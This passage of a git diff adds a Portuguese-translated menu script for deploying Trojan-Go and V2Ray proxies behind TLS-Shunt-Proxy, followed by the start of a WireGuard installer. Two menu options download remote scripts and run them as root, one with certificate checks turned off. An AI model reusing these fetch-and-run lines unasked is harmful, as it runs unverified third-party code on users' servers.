garantir que o script seja executado normalmente, confirme para realizar a atualização imediatamente(Y/N)[Y] ${Font}" + read -r upgrade_confirm + [[ -z ${upgrade_confirm} ]] && upgrade_confirm="Yes" + case $upgrade_confirm in + [yY][eE][sS] | [yY]) + uninstall_tsp + install_tls_shunt_proxy + tsp_sync + deployed_status_check + ;; + *) ;; + esac + fi + + [[ $debug = "enable" ]] && echo -e "\n Proxy Trojan-Go:TCP:${Green}${trojan_tcp_mode}${Font} / WebSocket:${Green}${trojan_ws_mode}${Font}\n Proxy V2Ray:TCP:${Green}${v2ray_tcp_mode}${Font} / WebSocket:${Green}${v2ray_ws_mode}${Font}" && + echo -e "\n Recipiente do agente: Trojan-Go:${Green}${trojan_stat}${Font} / V2Ray:${Green}${v2ray_stat}${Font}" && + echo -e " Outros recipientes: WatchTower:${Green}${watchtower_stat}${Font} / Portainer:${Green}${portainer_stat}${Font}\n" +} + +info_config() { + deployed_status_check + cert_stat_check tls-shunt-proxy + echo -e "\n————————————————————Informações de configuração do shunt————————————————————" + if [ -f ${tsp_conf} ]; then + echo -e "TLS-Shunt-Proxy $(/usr/local/bin/tls-shunt-proxy --version 2>&1 | awk 'NR==1{gsub(/"/,"");print $3}')" && + echo -e "Porta TLS do servidor: ${TSP_Port}" && echo -e "Nome de domínio TLS do servidor: ${TSP_Domain}" + [[ $trojan_tcp_mode = true ]] && echo -e "Porta de descarregamento de TCP Trojan-Go: $trojan_tcp_port" && echo -e "Porta de escuta Trojan-Go: $tjport" + [[ $trojan_ws_mode = true ]] && echo -e "Porta de toque Trojan-Go WebSocket: $trojan_ws_port" && + echo -e "Caminho de descarregamento do Trojan-Go WebSocket: $trojan_ws_path" + [[ $v2ray_tcp_mode = v*ess ]] && echo -e "Porta shunt V2Ray TCP: $v2ray_tcp_port" && echo -e "Porta de escuta V2Ray TCP: $v2port" + [[ $v2ray_ws_mode = v*ess ]] && echo -e "Porta de derivação V2Ray WebSocket: $v2ray_ws_port" && echo -e "Porta de escuta V2Ray WS: $v2wsport" && + echo -e "Caminho de shunt V2Ray WebSocket: $v2ray_ws_path" + fi + + if [[ -f ${trojan_conf} && $trojan_stat = "installed" ]]; then + echo -e "—————————————————— Implantação do Trojan-Go ——————————————————" && + echo -e "$(docker exec Trojan-Go sh -c 'trojan-go --version' 2>&1 | awk 'NR==1{gsub(/"/,"");print}')" && + echo -e "Porta do servidor: ${TSP_Port}" && echo -e "Endereço do servidor:: ${TSP_Domain}" + [[ $trojan_tcp_mode = true ]] && echo -e "Senha do Trojan-Go: ${tjpassword}" + [[ $trojan_ws_mode = true ]] && + echo -e "Trojan-Go WebSocket Path: ${tjwspath}" && echo -e "Trojan-Go WebSocket Host: ${tjwshost}" + fi + + if [[ -f ${v2ray_conf} && $v2ray_stat = "installed" ]]; then + echo -e "\n———————————————————— Configuração V2Ray ————————————————————" && + echo -e "$(docker exec V2Ray sh -c 'v2ray --version' 2>&1 | awk 'NR==1{gsub(/"/,"");print}')" && + echo -e "Porta do servidor: ${TSP_Port}" && echo -e "Endereço do servidor:: ${TSP_Domain}" + [[ $v2ray_tcp_mode = "vmess" ]] && echo -e "\nVMess TCP UUID: ${VMTID}" && + echo -e "VMess AlterID: ${VMAID}" && echo -e "Método de criptografia VMess: Auto" && echo -e "VMess Host: ${TSP_Domain}" + [[ $v2ray_tcp_mode = "vless" ]] && echo -e "\nVLESS TCP UUID: ${VLTID}" && + echo -e "Método de criptografia VLESS: none" && echo -e "VLESS Host: ${TSP_Domain}" + [[ $v2ray_ws_mode = "vmess" ]] && echo -e "\nVMess WS UUID: ${VMWSID}" && echo -e "VMess AlterID: $VMWSAID" && + echo -e "Método de criptografia VMess: Auto" && echo -e "VMess WebSocket Host: ${TSP_Domain}" && echo -e "VMess WebSocket Path: ${v2wspath}" + [[ $v2ray_ws_mode = "vless" ]] && echo -e "\nVLESS WS UUID: ${VLWSID}" && + echo -e "Método de criptografia VLESS: none" && echo -e "VLESS WebSocket Host: ${TSP_Domain}" && echo -e "VLESS WebSocket Path: ${v2wspath}" + fi + + echo -e "————————————————————————————————————————————————————\n" + read -t 60 -n 1 -s -rp "Pressione qualquer tecla para continuar(60s)..." + clear +} + +info_links() { + deployed_status_check + cert_stat_check tls-shunt-proxy + if [[ -f ${trojan_conf} && $trojan_stat = "installed" ]]; then + echo -e "———————————————— Link de compartilhamento do Trojan-Go ————————————————" && + [[ $trojan_tcp_mode = true ]] && echo -e "\n Link de compartilhamento TLS do Trojan-Go TCP:" && + echo -e " ${Yellow}Cliente Trojan:${Font}\n trojan://${tjpassword}@${TSP_Domain}:${TSP_Port}?sni=${TSP_Domain}&allowinsecure=0&mux=0#${HOSTNAME}-TCP" && + echo "" + echo -e " ${Yellow}Cliente Qv2ray (plug-in trojan-go necessário) :${Font}\n trojan-go://${tjpassword}@${TSP_Domain}:${TSP_Port}/?sni=${TSP_Domain}&type=original&host=${TSP_Domain}#${HOSTNAME}-TCP" && + echo "" + echo -e " ${Yellow}Código QR Shadowrocket:" && + qrencode -t ANSIUTF8 -s 1 -m 2 "trojan://${tjpassword}@${TSP_Domain}:${TSP_Port}?sni=${TSP_Domain}&peer=${TSP_Domain}&allowinsecure=0&mux=0#${HOSTNAME}-TCP" + [[ $trojan_ws_mode = true ]] && echo -e "\n Link de compartilhamento Trojan-Go WebSocket TLS:" && + echo -e " ${Yellow}Cliente Trojan-Qt5:${Font}\n trojan://${tjpassword}@${TSP_Domain}:${TSP_Port}?sni=${TSP_Domain}&peer=${TSP_Domain}&allowinsecure=0&mux=1&ws=1&wspath=${tjwspath}&wshost=${TSP_Domain}#${HOSTNAME}-WS" && + echo "" + echo -e " ${Yellow}Cliente Qv2ray (plug-in trojan-go necessário) :${Font}\n trojan-go://${tjpassword}@${TSP_Domain}:${TSP_Port}/?sni=${TSP_Domain}&type=ws&host=${TSP_Domain}&path=${tjwspath}#${HOSTNAME}-WS" && + echo "" + echo -e " ${Yellow}Código QR Shadowrocket:" && + qrencode -t ANSIUTF8 -s 1 -m 2 "trojan://${tjpassword}@${TSP_Domain}:${TSP_Port}?peer=${TSP_Domain}&mux=1&plugin=obfs-local;obfs=websocket;obfs-host=${TSP_Domain};obfs-uri=${tjwspath}#${HOSTNAME}-WS" + read -t 60 -n 1 -s -rp "Pressione qualquer tecla para continuar(60s)..." + fi + + if [[ -f ${v2ray_conf} && $v2ray_stat = "installed" ]]; then + echo -e "\n—————————————————— V2Ray compartilhar link ——————————————————" && + [[ $v2ray_tcp_mode = "vmess" ]] && echo -e "\n VMess TCP TLS compartilhar link:" && + echo -e " Formato V2RayN:\n vmess://$(echo "{\"add\":\"${TSP_Domain}\",\"aid\":\"0\",\"host\":\"${TSP_Domain}\",\"peer\":\"${TSP_Domain}\",\"id\":\"${VMTID}\",\"net\":\"tcp\",\"port\":\"${TSP_Port}\",\"ps\":\"${HOSTNAME}-TCP\",\"tls\":\"tls\",\"type\":\"none\",\"v\":\"2\"}" | base64 -w 0)" && + echo -e " Novo formato de VMess:\n vmess://tcp+tls:${VMTID}-0@${TSP_Domain}:${TSP_Port}/?tlsServerName=${TSP_Domain}#$(urlEncode "${HOSTNAME}-TCP")" && + echo -e " Código QR Shadowrocket:" && + qrencode -t ANSIUTF8 -s 1 -m 2 "vmess://$(echo "auto:${VMTID}@${TSP_Domain}:${TSP_Port}" | base64 -w 0)?tls=1&mux=1&peer=${TSP_Domain}&allowInsecure=0&tfo=0&remarks=${HOSTNAME}-TCP" + [[ $v2ray_ws_mode = "vmess" ]] && echo -e "\n Link de compartilhamento VMess WebSocket TLS:" && + echo -e " Formato V2RayN:\n vmess://$(echo "{\"add\":\"${TSP_Domain}\",\"aid\":\"0\",\"host\":\"${TSP_Domain}\",\"peer\":\"${TSP_Domain}\",\"id\":\"${VMWSID}\",\"net\":\"ws\",\"path\":\"${v2wspath}\",\"port\":\"${TSP_Port}\",\"ps\":\"${HOSTNAME}-WS\",\"tls\":\"tls\",\"type\":\"none\",\"v\":\"2\"}" | base64 -w 0)" && + echo -e " Novo formato de VMess:\n vmess://ws+tls:${VMWSID}-0@${TSP_Domain}:${TSP_Port}/?path=$(urlEncode "${v2wspath}")&host=${TSP_Domain}&tlsServerName=${TSP_Domain}#$(urlEncode "${HOSTNAME}-WS")" && + echo -e " Código QR Shadowrocket:" && + qrencode -t ANSIUTF8 -s 1 -m 2 "vmess://$(echo "auto:${VMWSID}@${TSP_Domain}:${TSP_Port}" | base64 -w 0)?tls=1&mux=1&peer=${TSP_Domain}&allowInsecure=0&tfo=0&remarks=${HOSTNAME}-WS&obfs=websocket&obfsParam=${TSP_Domain}&path=${v2wspath}" + [[ $v2ray_tcp_mode = "vless" ]] && echo -e "\n VLESS TCP TLS compartilhar link:" && + echo -e " Novo formato VLESS:\n vless://${VLTID}@${TSP_Domain}:${TSP_Port}?security=tls&sni=${TSP_Domain}#$(urlEncode "${HOSTNAME}-TCP")" + [[ $v2ray_ws_mode = "vless" ]] && echo -e "\n VLESS WebSocket TLS compartilhar link:" && + echo -e " Novo formato VLESS:\n vless://${VLWSID}@${TSP_Domain}:${TSP_Port}?type=ws&security=tls&host=${TSP_Domain}&path=$(urlEncode "${v2wspath}")&sni=${TSP_Domain}#$(urlEncode "${HOSTNAME}-WS")" + read -t 60 -n 1 -s -rp "Pressione qualquer tecla para continuar(60s)..." + fi + + if [[ -f ${v2ray_conf} || -f ${trojan_conf} ]]; then + echo -e "\n——————————————————— Inscreva-se para obter informações sobre o link ———————————————————" + rm -rf "$(grep '#Website' ${tsp_conf} | sed -r 's/.*: (.*) #.*/\1/')"/subscribe* + cat >"$(grep '#Website' ${tsp_conf} | sed -r 's/.*: (.*) #.*/\1/')"/robots.txt <<-EOF +User-agent: * +Disallow: / +EOF + subscribe_file="$(head -n 10 /dev/urandom | md5sum | head -c ${random_num})" + subscribe_links | base64 -w 0 >"$(grep '#Website' ${tsp_conf} | sed -r 's/.*: (.*) #.*/\1/')"/subscribe"${subscribe_file}" + echo -e "Link de inscrição:\n https://${TSP_Domain}/subscribe${subscribe_file} \n${Yellow}Observação: O link de inscrição gerado pelo script contém todas as informações de configuração do protocolo proxy atualmente implantadas no servidor. Para considerações de segurança da informação, o endereço do link será atualizado aleatoriamente sempre que você visualizá-lo!!\nAlém disso, como diferentes clientes têm diferentes graus de compatibilidade e suporte para o protocolo de proxy, ajuste-se de acordo com a situação real!${Font}" + read -t 60 -n 1 -s -rp "Pressione qualquer tecla para continuar(60s)..." + fi + + clear +} + +subscribe_links() { + if [[ -f ${trojan_conf} && $trojan_stat = "installed" ]]; then + [[ $trojan_tcp_mode = true ]] && + echo -e "trojan://${tjpassword}@${TSP_Domain}:${TSP_Port}?sni=${TSP_Domain}&peer=${TSP_Domain}&allowinsecure=0&mux=0#${HOSTNAME}-TCP" && + echo -e "trojan-go://${tjpassword}@${TSP_Domain}:${TSP_Port}/?sni=${TSP_Domain}&type=original&host=${TSP_Domain}#${HOSTNAME}-Trojan-Go-TCP" + [[ $trojan_ws_mode = true ]] && + echo -e "trojan-go://${tjpassword}@${TSP_Domain}:${TSP_Port}/?sni=${TSP_Domain}&type=ws&host=${TSP_Domain}&path=${tjwspath}#${HOSTNAME}-Trojan-Go-WS" && + echo -e "trojan://${tjpassword}@${TSP_Domain}:${TSP_Port}?peer=${TSP_Domain}&mux=1&plugin=obfs-local;obfs=websocket;obfs-host=${TSP_Domain};obfs-uri=${tjwspath}#${HOSTNAME}-Trojan-Go-WS" + fi + + if [[ -f ${v2ray_conf} && $v2ray_stat = "installed" ]]; then + [[ $v2ray_tcp_mode = "vmess" ]] && + echo -e "vmess://$(echo "{\"add\":\"${TSP_Domain}\",\"aid\":\"0\",\"host\":\"${TSP_Domain}\",\"peer\":\"${TSP_Domain}\",\"id\":\"${VMTID}\",\"net\":\"tcp\",\"port\":\"${TSP_Port}\",\"ps\":\"${HOSTNAME}-TCP\",\"tls\":\"tls\",\"type\":\"none\",\"v\":\"2\"}" | base64 -w 0)" && + echo -e "vmess://tcp+tls:${VMTID}-0@${TSP_Domain}:${TSP_Port}/?tlsServerName=${TSP_Domain}#$(urlEncode "${HOSTNAME}-Novo formato - TCP")" + [[ $v2ray_ws_mode = "vmess" ]] && + echo -e "vmess://$(echo "{\"add\":\"${TSP_Domain}\",\"aid\":\"0\",\"host\":\"${TSP_Domain}\",\"peer\":\"${TSP_Domain}\",\"id\":\"${VMWSID}\",\"net\":\"ws\",\"path\":\"${v2wspath}\",\"port\":\"${TSP_Port}\",\"ps\":\"${HOSTNAME}-WS\",\"tls\":\"tls\",\"type\":\"none\",\"v\":\"2\"}" | base64 -w 0)" && + echo -e "vmess://ws+tls:${VMWSID}-0@${TSP_Domain}:${TSP_Port}/?path=$(urlEncode "${v2wspath}")&host=${TSP_Domain}&tlsServerName=${TSP_Domain}#$(urlEncode "${HOSTNAME}-Novo formato-WS")" + [[ $v2ray_tcp_mode = "vless" ]] && + echo -e "vless://${VLTID}@${TSP_Domain}:${TSP_Port}?security=tls&sni=${TSP_Domain}#$(urlEncode "${HOSTNAME}-TCP")" + [[ $v2ray_ws_mode = "vless" ]] && + echo -e "vless://${VLWSID}@${TSP_Domain}:${TSP_Port}?type=ws&security=tls&host=${TSP_Domain}&path=$(urlEncode "${v2wspath}")&sni=${TSP_Domain}#$(urlEncode "${HOSTNAME}-WS")" + fi +} + +cert_stat_check() { + echo -e "${OK} ${GreenBG} Verifique as informações de status do certificado... ${Font}" + if systemctl is-active "$1" &>/dev/null; then + [[ $1 = "tls-shunt-proxy" ]] && [[ ! -f ${tsp_cert_dir}/${TSP_Domain}/${TSP_Domain}.crt || ! -f ${tsp_cert_dir}/${TSP_Domain}/${TSP_Domain}.json || ! -f ${tsp_cert_dir}/${TSP_Domain}/${TSP_Domain}.key ]] && + echo -e "${Yellow}Nenhum certificado SSL válido foi detectado, execute o seguinte comando:\n#systemctl restart tls-shunt-proxy\n#journalctl -u tls-shunt-proxy.service\nVerifique o log e execute novamente o script depois que o aplicativo de certificado for concluído${Font}" && exit 4 + fi +} + +menu_req_check() { + if systemctl is-active "$1" &>/dev/null; then + [[ $debug = "enable" ]] && echo -e "${OK} ${GreenBG} $1 Começou ${Font}" + else + echo -e "\n${Error} ${RedBG} Foi detectado que o serviço $1 não foi iniciado com sucesso. De acordo com a dependência, as seguintes opções serão bloqueadas, corrija e tente novamente... ${Font}" + [[ $1 = "tls-shunt-proxy" ]] && echo -e "${Yellow}[Shield] Instalar proxy TCP / WS (Trojan-Go / V2Ray) \nModificação de configuração [Shield] (Trojan-Go / V2Ray) \n[Block] Ver informações de configuração${Font}" + [[ $1 = "docker" ]] && echo -e "${Yellow}[Shield] Instalar / desinstalar WatchTower (atualizar automaticamente o contêiner) \n[Shield] Instalar / desinstalar Portainer(Contêiner de gerenciamento da web)${Font}" + read -t 60 -n 1 -s -rp "Pressione qualquer tecla para continuar(60s)..." + fi +} + +menu() { + deployed_status_check + echo -e "\n${Green} Versão do script de implantação TSP e Trojan-Go / V2Ray: ${shell_version} ${Font}" + echo -e "——————————————————————Gerenciamento de implantação——————————————————————" + if [[ $tsp_stat = "installed" ]]; then + echo -e "${Green}1.${Font} ${Yellow}Desinstalar${Font} TLS-Shunt-Proxy" + else + echo -e "${Green}1.${Font} Instalar TLS-Shunt-Proxy(Certificado de gerenciamento de site e automático)" + fi + systemctl is-active "tls-shunt-proxy" &>/dev/null && + if [[ $trojan_stat = "none" ]]; then + echo -e "${Green}2.${Font} Instalar proxy TCP / WS Trojan-Go" + else + echo -e "${Green}2.${Font} ${Yellow}Desinstalar${Font} Proxy Trojan-Go TCP / WS" + fi + systemctl is-active "tls-shunt-proxy" &>/dev/null && + if [[ $v2ray_stat = "none" ]]; then + echo -e "${Green}3.${Font} Instalar proxy TCP / WS V2Ray" + else + echo -e "${Green}3.${Font} ${Yellow}Desinstalar${Font} Proxy TCP / WS V2Ray" + fi + systemctl is-active "docker" &>/dev/null && + if [[ $watchtower_stat = "none" ]]; then + echo -e "${Green}4.${Font} Instalar WatchTower (atualizar automaticamente o contêiner)" + else + echo -e "${Green}4.${Font} ${Yellow}Desinstalar${Font} WatchTower (atualiza automaticamente o contêiner)" + fi + systemctl is-active "docker" &>/dev/null && + if [[ $portainer_stat = "none" ]]; then + echo -e "${Green}5.${Font} Instalar Portainer (Web Management Container)" + else + echo -e "${Green}5.${Font} ${Yellow}Desinstalar${Font} Portainer (contêiner de gerenciamento da Web)" + fi + systemctl is-active "tls-shunt-proxy" &>/dev/null && + echo -e "——————————————————————Modificação de configuração——————————————————————" && + echo -e "${Green}6.${Font} Modificar porta TLS / nome de domínio" && + [[ $trojan_stat = "installed" && -f ${trojan_conf} ]] && echo -e "${Green}7.${Font} Modificar a configuração do proxy Trojan-Go" + systemctl is-active "tls-shunt-proxy" &>/dev/null && + [[ $v2ray_stat = "installed" && -f ${v2ray_conf} ]] && echo -e "${Green}8.${Font} Modificar a configuração do proxy V2Ray" + systemctl is-active "tls-shunt-proxy" &>/dev/null && + echo -e "——————————————————————Ver informação——————————————————————" && + echo -e "${Green}9.${Font} Ver informações de configuração" && + [[ $trojan_stat = "installed" || $v2ray_stat = "installed" ]] && echo -e "${Green}10.${Font} Ver link compartilhar / assinar" + echo -e "——————————————————————Gestão Diversa——————————————————————" + [ -f ${tsp_conf} ] && echo -e "${Green}11.${Font} Atualizar plataforma base TLS-Shunt-Proxy / Docker" && + echo -e "${Green}12.${Font} ${Yellow}Desinstalar${Font} Todos os componentes instalados" + echo -e "${Green}13.${Font} Instale o script 4 em 1 BBR Rui Su" + echo -e "${Green}14.${Font} Execute o script de teste SuperSpeed" + echo -e "${Green}0.${Font} Sair do script " + echo -e "————————————————————————————————————————————————————\n" + read -rp "Por favor insira o número:" menu_num + case "$menu_num" in + 1) + if [[ $tsp_stat = "installed" ]]; then + uninstall_tsp + else + install_tls_shunt_proxy + tsp_sync + fi + ;; + 2) + systemctl is-active "tls-shunt-proxy" &>/dev/null && + if [[ $trojan_stat = "none" ]]; then + install_trojan + else + uninstall_trojan + fi + ;; + 3) + systemctl is-active "tls-shunt-proxy" &>/dev/null && + if [[ $v2ray_stat = "none" ]]; then + install_v2ray + else + uninstall_v2ray + fi + ;; + 4) + systemctl is-active "docker" &>/dev/null && + if [[ $watchtower_stat = "none" ]]; then + install_watchtower + else + uninstall_watchtower + fi + ;; + 5) + systemctl is-active "docker" &>/dev/null && + if [[ $portainer_stat = "none" ]]; then + install_portainer + else + uninstall_portainer + fi + ;; + 6) + systemctl is-active "tls-shunt-proxy" &>/dev/null && modify_tsp + ;; + 7) + systemctl is-active "tls-shunt-proxy" &>/dev/null && [[ -f ${trojan_conf} && $trojan_stat = "installed" ]] && modify_trojan + ;; + 8) + systemctl is-active "tls-shunt-proxy" &>/dev/null && [[ -f ${v2ray_conf} && $v2ray_stat = "installed" ]] && modify_v2ray + ;; + 9) + systemctl is-active "tls-shunt-proxy" &>/dev/null && info_config + ;; + 10) + systemctl is-active "tls-shunt-proxy" &>/dev/null && info_links + ;; + 11) + [ -f ${tsp_conf} ] && read -rp "Confirme se deseja atualizar o componente shunt TLS-Shunt-Proxy,(Y/N) [N]:" upgrade_mode + [[ -z ${upgrade_mode} ]] && upgrade_mode="none" + case $upgrade_mode in + [yY]) + echo -e "${GreenBG} Comece a atualizar o componente shunt TLS-Shunt-Proxy ${Font}" + upgrade_mode="Tsp" + sleep 1 + upgrade_tsp + ;; + *) + echo -e "${GreenBG} Pule para atualizar o componente shunt TLS-Shunt-Proxy ${Font}" + ;; + esac + [ -f ${tsp_conf} ] && read -rp "Confirme se deseja atualizar os componentes da plataforma Docker,(Y/N) [N]:" upgrade_mode + [[ -z ${upgrade_mode} ]] && upgrade_mode="none" + case $upgrade_mode in + [yY]) + echo -e "${GreenBG} Comece a atualizar os componentes da plataforma Docker ${Font}" + upgrade_mode="Docker" + sleep 1 + install_docker + ;; + *) + echo -e "${GreenBG} Pular a atualização dos componentes da plataforma Docker ${Font}" + ;; + esac + ;; + 12) + [ -f ${tsp_conf} ] && uninstall_all + ;; + 13) + kernel_change="YES" + systemctl is-active "docker" &>/dev/null && echo -e "${RedBG} !!!Como o Docker está intimamente relacionado ao kernel do sistema, alterar o kernel do sistema pode fazer com que o Docker fique inutilizável!!! ${Font}\n${WARN} ${Yellow} 如果内核更换后 Docker 无法正常启动,请尝试通过 脚本 <选项10:升级 Docker> 修复 或 <选项11:完全卸载> 后重新部署 ${Font}" && + read -rp "Depois de confirmar, digite YES (diferencia maiúsculas de minúsculas):" kernel_change + [[ -z ${kernel_change} ]] && kernel_change="no" + case $kernel_change in + YES) + [ -f "tcp.sh" ] && rm -rf ./tcp.sh + wget -N --no-check-certificate "https://raw.githubusercontent.com/ylx2016/Linux-NetSpeed/master/tcpx.sh" && chmod +x tcpx.sh && ./tcpx.sh + ;; + *) + echo -e "${RedBG} Deixe-me pensar de novo ${Font}" + exit 0 + ;; + esac + ;; + 14) + bash <(curl -Lso- https://git.io/superspeed) + ;; + 0) + exit 0 + ;; + *) + echo -e "${RedBG} Por favor insira o número correto ${Font}" + sleep 3 + ;; + esac + menu +} + +clear +check_system +is_root +update_sh +list "$1" diff --git a/Recursos/menu_inst/h_beta-sh/wireguard-install.sh b/Recursos/menu_inst/h_beta-sh/wireguard-install.sh new file mode 100644 index 0000000..b65048b --- /dev/null +++ b/Recursos/menu_inst/h_beta-sh/wireguard-install.sh @@ -0,0 +1,505 @@ +#!/bin/bash + +# Instalador de servidor Secure WireGuard +# https://github.com/leitura/wireguard-install +clear&&clear +RED='\033[0;31m' +ORANGE='\033[0;33m' +NC='\033[0m' + +function isRoot() { + if [ "${EUID}" -ne 0 ]; then + echo "Você precisa executar este script como root" + exit 1 + fi +} + +function checkVirt() { + if [ "$(systemd-detect-virt)" == "openvz" ]; then + echo "OpenVZ no es compatible" + exit 1 + fi + + if [ "$(systemd-detect-virt)" == "lxc" ]; then + echo "LXC no es compatible (todavía)." + echo "WireGuard técnicamente puede ejecutarse en un contenedor LXC," + echo "pero el módulo del kernel debe estar instalado en el host," + echo "el contenedor debe ejecutarse con algunos parámetros específicos" + echo "y solo las herramientas deben instalarse en el contenedor." + exit 1 + fi +} + +function checkOS() { + # Check OS version + if [[ -e /etc/debian_version ]]; then + source /etc/os-release + OS="${ID}" # debian or ubuntu + if [[ ${ID} == "debian" || ${ID} == "raspbian" ]]; then + if [[ ${VERSION_ID} -lt 10 ]]; then + echo "Su versión de Debian (${VERSION_ID}) no es compatible. Utilice Debian 10 Buster o posterior" + exit 1 + fi + OS=debian # overwrite if raspbian + fi + elif [[ -e /etc/fedora-release ]]; then + source /etc/os-release + OS="${ID}" + elif [[ -e /etc/centos-release ]]; then + source /etc/os-release + OS=centos + elif [[ -e /etc/oracle-release ]]; then + source /etc/os-release + OS=oracle + elif [[ -e /etc/arch-release ]]; then + OS=arch + else + echo "Parece que no está ejecutando este instalador en un sistema Debian, Ubuntu, Fedora, CentOS, Oracle o Arch Linux" + exit 1 + fi +} + +function initialCheck() { + isRoot + checkVirt + checkOS +} + +function installQuestions() { + echo "¡Bienvenido al instalador de WireGuard!" + #echo "O repositório git está disponível em: https://github.com/leitura/wireguard-install" + echo "" + echo "Necesito hacer algunas preguntas antes de comenzar la configuración." + echo "Puede dejar las opciones predeterminadas y simplemente presionar Entrar si está de acuerdo con ellas." + echo "" + + # Detect public IPv4 or IPv6 address and pre-fill for the user + #SERVER_PUB_IP=$(ip -4 addr | sed -ne 's|^.* inet \([^/]*\)/.* scope global.*$|\1|p' | awk '{print $1}' | head -1) + SERVER_PUB_IP=$(wget -qO- ifconfig.me) + if [[ -z ${SERVER_PUB_IP} ]]; then + # Detect public IPv6 address + SERVER_PUB_IP=$(ip -6 addr | sed -ne 's|^.* inet6 \([^/]*\)/.* scope global.*$|\1|p' | head -1) + fi + read -rp "Dirección pública IPv4 o IPv6: " -e -i "${SERVER_PUB_IP}" SERVER_PUB_IP + + # Detect public interface and pre-fill for the user + SERVER_NIC="$(ip -4 route ls | grep default | grep -Po '(?<=dev )(\S+)' | head -1)" + until [[ ${SERVER_PUB_NIC} =~ ^[a-zA-Z0-9_]+$ ]]; do + read -rp "Interface pública: " -e -i "${SERVER_NIC}" SERVER_PUB_NIC + done + + until [[ ${SERVER_WG_NIC} =~ ^[a-zA-Z0-9_]+$ && ${#SERVER_WG_NIC} -lt 16 ]]; do + read -rp "Nombre de la interfaz WireGuard: " -e -i wg0 SERVER_WG_NIC + done + + until [[ ${SERVER_WG_IPV4} =~ ^([0-9]{1,3}\.){3} ]]; do + read -rp "WireGuard IPv4 do servidor: " -e -i 10.66.66.1 SERVER_WG_IPV4 + done + + until [[ ${SERVER_WG_IPV6} =~ ^([a-f0-9]{1,4}:){3,4}: ]]; do + read -rp "WireGuard IPv6 en el servidor: " -e -i fd42:42:42::1 SERVER_WG_IPV6 + done + + # Generate random number within private ports range + RANDOM_PORT=$(shuf -i49152-65535 -n1) + until [[ ${SERVER_PORT} =~ ^[0-9]+$ ]] && [ "${SERVER_PORT}" -ge 1 ] && [ "${SERVER_PORT}" -le 65535 ]; do + read -rp "Puerto WireGuard del servidor [1-65535]: " -e -i "${RANDOM_PORT}" SERVER_PORT + done + + # Adguard DNS by default + until [[ ${CLIENT_DNS_1} =~ ^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$ ]]; do + read -rp "1Mer resolvedor de DNS a ser usado para los clientes: " -e -i 8.8.8.8 CLIENT_DNS_1 + done + until [[ ${CLIENT_DNS_2} =~ ^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$ ]]; do + read -rp "Segundo resolvedor de DNS a ser usado para los clientes (opcional): " -e -i 8.8.4.4 CLIENT_DNS_2 + if [[ ${CLIENT_DNS_2} == "" ]]; then + CLIENT_DNS_2="${CLIENT_DNS_1}" + fi + done + + echo "" + echo "Está bien, eso era todo lo que necesitaba. Estamos listos para configurar su servidor WireGuard ahora." + echo "Podrá generar un cliente al final de la instalación." + read -n1 -r -p "Presione cualquier tecla para continuar." +} + +fun_limpram() { + + if [[ ${OS} == 'ubuntu' ]] || [[ ${OS} == 'debian' && ${VERSION_ID} -gt 10 ]]; then + apt-get update -y &> /dev/null + apt-get install -y wireguard iptables resolvconf qrencode &> /dev/null + elif [[ ${OS} == 'debian' ]]; then + if ! grep -rqs "^deb .* buster-backports" /etc/apt/; then + echo "deb http://deb.debian.org/debian buster-backports main" >/etc/apt/sources.list.d/backports.list + apt-get update &> /dev/null + fi + apt update + apt-get install -y iptables resolvconf qrencode &> /dev/null + apt-get install -y -t buster-backports wireguard &> /dev/null + elif [[ ${OS} == 'fedora' ]]; then + if [[ ${VERSION_ID} -lt 32 ]]; then + dnf install -y dnf-plugins-core &> /dev/null + dnf copr enable -y jdoss/wireguard &> /dev/null + dnf install -y wireguard-dkms &> /dev/null + fi + dnf install -y wireguard-tools iptables qrencode &> /dev/null + elif [[ ${OS} == 'centos' ]]; then + yum -y install epel-release elrepo-release &> /dev/null + if [[ ${VERSION_ID} -eq 7 ]]; then + yum -y install yum-plugin-elrepo &> /dev/null + fi + yum -y install kmod-wireguard wireguard-tools iptables qrencode &> /dev/null + elif [[ ${OS} == 'oracle' ]]; then + dnf install -y oraclelinux-developer-release-el8 &> /dev/null + dnf config-manager --disable -y ol8_developer &> /dev/null + dnf config-manager --enable -y ol8_developer_UEKR6 &> /dev/null + dnf config-manager --save -y --setopt=ol8_developer_UEKR6.includepkgs='wireguard-tools*' + dnf install -y wireguard-tools qrencode iptables + elif [[ ${OS} == 'arch' ]]; then + pacman -S --needed --noconfirm wireguard-tools qrencode + fi + + # Make sure the directory exists (this does not seem the be the case on fedora) + [[ -d /etc/wireguard ]] || mkdir /etc/wireguard >/dev/null 2>&1 + + chmod 600 -R /etc/wireguard/ + + SERVER_PRIV_KEY=$(wg genkey) + SERVER_PUB_KEY=$(echo "${SERVER_PRIV_KEY}" | wg pubkey) + + # Save WireGuard settings + echo "SERVER_PUB_IP=${SERVER_PUB_IP} +SERVER_PUB_NIC=${SERVER_PUB_NIC} +SERVER_WG_NIC=${SERVER_WG_NIC} +SERVER_WG_IPV4=${SERVER_WG_IPV4} +SERVER_WG_IPV6=${SERVER_WG_IPV6} +SERVER_PORT=${SERVER_PORT} +SERVER_PRIV_KEY=${SERVER_PRIV_KEY} +SERVER_PUB_KEY=${SERVER_PUB_KEY} +CLIENT_DNS_1=${CLIENT_DNS_1} +CLIENT_DNS_2=${CLIENT_DNS_2}" >/etc/wireguard/params + + # Add server interface + echo "[Interface] +Address = ${SERVER_WG_IPV4}/24,${SERVER_WG_IPV6}/64 +ListenPort = ${SERVER_PORT} +PrivateKey = ${SERVER_PRIV_KEY}" >"/etc/wireguard/${SERVER_WG_NIC}.conf" + + if pgrep firewalld; then + FIREWALLD_IPV4_ADDRESS=$(echo "${SERVER_WG_IPV4}" | cut -d"." -f1-3)".0" + FIREWALLD_IPV6_ADDRESS=$(echo "${SERVER_WG_IPV6}" | sed 's/:[^:]*$/:0/') + echo "PostUp = firewall-cmd --add-port ${SERVER_PORT}/udp && firewall-cmd --add-rich-rule='rule family=ipv4 source address=${FIREWALLD_IPV4_ADDRESS}/24 masquerade' && firewall-cmd --add-rich-rule='rule family=ipv6 source address=${FIREWALLD_IPV6_ADDRESS}/24 masquerade' +PostDown = firewall-cmd --remove-port ${SERVER_PORT}/udp && firewall-cmd --remove-rich-rule='rule family=ipv4 source address=${FIREWALLD_IPV4_ADDRESS}/24 masquerade' && firewall-cmd --remove-rich-rule='rule family=ipv6 source 